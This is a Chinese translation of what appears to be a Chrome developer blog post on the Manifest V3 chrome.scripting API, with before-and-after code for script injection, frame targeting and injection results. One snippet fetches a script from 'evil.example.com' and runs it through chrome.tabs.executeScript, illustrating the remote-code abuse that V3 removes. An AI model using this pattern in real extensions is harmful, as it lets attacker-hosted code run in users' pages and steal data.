Manifest V3 对 Chrome 的扩展程序平台进行了多项变更。在这篇博文中,我们将探讨一项更显著变更带来的动机和变化:chrome.scripting
API 的引入。
什么是 chrome.scripting?
顾名思义,chrome.scripting
是 Manifest V3 中引入的新命名空间,负责脚本和样式注入功能。
过去曾创建过 Chrome 扩展程序的开发者可能熟悉 Tabs API 上的 Manifest V2 方法,例如 chrome.tabs.executeScript
和 chrome.tabs.insertCSS
。这些方法允许扩展程序分别将脚本和样式表注入网页。在 Manifest V3 中,这些功能已移至 chrome.scripting
,我们计划未来扩充此 API 并提供一些新功能。
为什么要创建新的 API?
面对这样的变化,大家首先想到的问题往往是“为什么?”
由于一些不同的因素,Chrome 团队决定引入一个新的脚本命名空间。
首先,Tabs API 有点像功能的杂物盒。其次,我们需要对现有的 executeScript
API 进行破坏性更改。第三,我们想要扩展扩展程序的脚本编写功能。这些问题综合起来,清楚地表明需要一个新的命名空间来容纳脚本功能。
“垃圾”抽屉
过去几年来,一直困扰扩展程序团队的一个问题是 chrome.tabs
API 过载。首次引入此 API 时,它提供的大多数功能都与浏览器标签页的宽泛概念相关。不过,即便到了那个时候,它也只是有几大功能而已,近年来,这个系列不断发展壮大。
到 Manifest V3 发布时,Tabs API 已不断发展壮大,涵盖基本的标签页管理、选择管理、窗口整理、消息功能、缩放控制、基本导航、脚本编写以及一些其他较小的功能。虽然这些都很重要,但在我们维护平台并考虑开发者社区的请求时,开发者和 Chrome 团队在入门阶段可能会感到有点不知所措。
另一个让复杂因素变得更加复杂是对 tabs
权限的问题没有得到很好的理解。虽然许多其他权限会限制对给定 API(例如 storage
)的访问,但此权限有点不同寻常,因为它仅授予扩展程序对标签页实例上敏感属性的访问权限(并且还会影响 Windows API)。可以理解,许多扩展程序开发者误以为需要此权限才能访问 Tabs API 中的方法,例如 chrome.tabs.create
或更准确地说 chrome.tabs.executeScript
。将功能从 Tabs API 中移出有助于消除其中的一些混淆。
重大变更
在设计 Manifest V3 时,我们想要解决的一个主要问题是“远程托管的代码”(即已执行但不包含在扩展程序软件包中的代码)导致的滥用和恶意软件。有滥用行为的扩展程序作者通常会执行从远程服务器提取的脚本,以窃取用户数据、注入恶意软件并逃避检测。虽然好人也会使用此功能,但我们最终认为,继续保留此功能实在太危险了。
扩展程序可以通过多种方式执行未捆绑的代码,但这里相关的方法是 Manifest V2 chrome.tabs.executeScript
方法。此方法允许扩展程序在目标标签页中执行任意代码字符串。这反过来意味着,恶意开发者可以从远程服务器提取任意脚本,并在扩展程序可以访问的任何网页中执行该脚本。我们知道,如果想解决远程代码问题,就必须舍弃此功能。
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
我们还想清理 Manifest V2 版本设计中其他一些更细微的问题,使该 API 成为更加完善和可预测的工具。
虽然我们本可以在 Tabs API 中更改此方法的签名,但我们认为,在这些重大更改和引入新功能(将在下一部分介绍)之间,让每个人都更容易进行彻底的休息。
扩展脚本编写功能
Manifest V3 设计流程的另一个考虑因素是,希望在 Chrome 的扩展程序平台中引入其他脚本功能。具体而言,我们希望添加对动态内容脚本的支持,并扩展 executeScript
方法的功能。
动态内容脚本支持一直是 Chromium 的一项功能要求。目前,Manifest V2 和 V3 Chrome 扩展程序只能在其 manifest.json
文件中静态声明内容脚本;平台不提供在运行时注册新内容脚本、调整内容脚本注册或取消注册内容脚本的方法。
虽然我们知道我们希望在 Manifest V3 中处理此功能请求,但现有的任何 API 都无法满足您的需求。我们还考虑在 Content Scripts API 中与 Firefox 保持一致,但很早就发现了这种方法的几个主要缺点。首先,我们知道自己会遇到不兼容的签名(例如,不再支持 code
属性)。其次,我们的 API 具有一组不同的设计限制(例如,需要注册才能保留到 Service Worker 的生命周期之后)。最后,此命名空间也会限制我们仅使用内容脚本功能,而我们希望更广泛地考虑在扩展程序中使用脚本。
在 executeScript
方面,我们还希望扩展此 API 的功能,使其超出 Tabs API 版本支持的范围。更具体地说,我们希望支持函数和参数,更轻松地定位到特定帧,以及定位到非“标签页”上下文。
今后,我们还在考虑扩展程序如何与已安装的 PWA 和其他在概念上不会映射到“标签页”的上下文交互。
tab.executeScript 和 scripting.executeScript 之间的更改
在这篇博文的其余部分,我想详细了解 chrome.tabs.executeScript
和 chrome.scripting.executeScript
之间的异同。
注入带有实参的函数
在考虑如何根据远程托管的代码限制来改进平台时,我们希望在允许执行任意代码的强大功能和仅允许使用静态内容脚本之间取得平衡。我们考虑的解决方案是允许扩展程序将函数作为内容脚本注入,并将值数组作为参数传递。
我们来快速看一个(过于简化的)示例。假设我们想要注入一个脚本,以便在用户点击扩展程序的操作按钮(工具栏中的图标)时,按用户姓名向其致意。在清单 V2 中,我们可以动态构建代码字符串,并在当前网页中执行该脚本。
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
虽然 Manifest V3 扩展程序无法使用未捆绑到该扩展程序的代码,但我们的目标是保留为 Manifest V2 扩展程序启用的任意代码块启用的一些动态效果。利用函数和参数方法,Chrome 应用商店审核人员、用户和其他相关方可以更准确地评估扩展程序带来的风险,同时允许开发者根据用户设置或应用状态修改扩展程序的运行时行为。
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
定位框架
我们还希望改进开发者在修订版 API 中与帧交互的方式。借助 Manifest V2 版本的 executeScript
,开发者可以定位标签页中的所有帧或标签页中的特定帧。您可以使用 chrome.webNavigation.getAllFrames
获取标签页中所有帧的列表。
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
在清单 V3 中,我们将 options 对象中的可选 frameId
整数属性替换成了可选的 frameIds
整数数组;这样,开发者就可以在单次 API 调用中定位多个帧。
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
脚本注入结果
我们还改进了 Manifest V3 中返回脚本注入结果的方式。“结果”基本上就是脚本中评估的最终语句。您可以将其视为在 Chrome 开发者工具控制台中调用 eval()
或执行代码块时返回的值,但已经过序列化以便在进程之间传递结果。
在清单 V2 中,executeScript
和 insertCSS
会返回一个纯执行结果数组。如果您只有一个注入点,则这样做没问题,但在注入多个帧时,无法保证结果顺序,因此无法确定哪个结果与哪个帧相关联。
如需了解具体示例,我们来看看由 Manifest V2 和 Manifest V3 版本同一扩展程序返回的 results
数组。这两个版本的扩展程序都会注入相同的内容脚本,我们将在同一演示页面上比较结果。
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
运行清单 V2 版本时,我们会收到一个 [1, 0, 5]
数组。哪个结果对应于主框架,哪个结果对应于 iframe?返回值并未告诉我们,因此我们不确定。
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
在清单 V3 版本中,results
现在包含结果对象数组,而不是仅包含评估结果数组,并且结果对象会明确标识每个结果的帧 ID。这样一来,开发者就可以更轻松地利用结果并对特定帧采取行动。
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
小结
清单版本升级是一个难得的机会,可让我们重新思考并改进扩展程序 API。我们开发 Manifest V3 的目标是提高扩展程序的安全性,从而改善最终用户体验,同时提升开发者体验。通过在 Manifest V3 中引入 chrome.scripting
,我们能够帮助清理 Tabs API,重新构想 executeScript
以实现更安全的扩展平台,并为将于今年晚些时候推出的全新脚本功能奠定基础。